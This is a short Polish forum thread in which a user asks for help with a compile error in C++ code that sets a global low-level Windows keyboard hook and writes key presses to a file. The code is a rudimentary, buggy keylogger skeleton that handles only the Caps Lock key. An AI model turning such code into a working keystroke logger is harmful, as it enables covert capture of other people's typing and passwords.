Pokaż wyniki 1 do 3 z 3

Temat: C++ Problem 1 błąd

  1. #1
    Zarejestrowany
    Jan 2013
    Postów
    10

    Domyślnie C++ Problem 1 błąd

    Cześć Wam!

    Napisałem taki kod:
    Kod:
    #include <iostream>
    #include <windows.h>
    #include <fstream>
    using namespace std;
    ofstream out("plik.txt", ios::out);
    fstream plik;
    LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
     PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
    
        if(wParam==WM_KEYDOWN)
     {
       switch (p->vkCode)
    
       {
           case  VK_CAPITAL:
              if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
                 plik << "CAPITAL";
                 else
                    plik << "capital";
                     break;
    
       }
     }
     return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
        MSG msg;
        HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);
    
        while(GetMessage(&msg, NULL, 0,0))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
            return msg.wParam;
        }
    
    }


    wyskakuje mi 1 błąd mianowicie:
    error: expected ')' before 'plik'|
    czy ktoś wie co jest źle ?

  2. #2
    Zarejestrowany
    Jan 2009
    Postów
    836

    Domyślnie

    chodzi o error w linijce: ofstream out("plik.txt", ios:ut); ?

    Nie sądzę by użycie tej komendy było dopuszczalne w tym miejscu. Zagnieżdża się to w funkcji.

  3. #3
    Zarejestrowany
    Jan 2013
    Postów
    10

    Domyślnie

    Pod spodem mojego kodu napisałem jaki błąd mi się pojawiał bo problem już rozwiązany

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52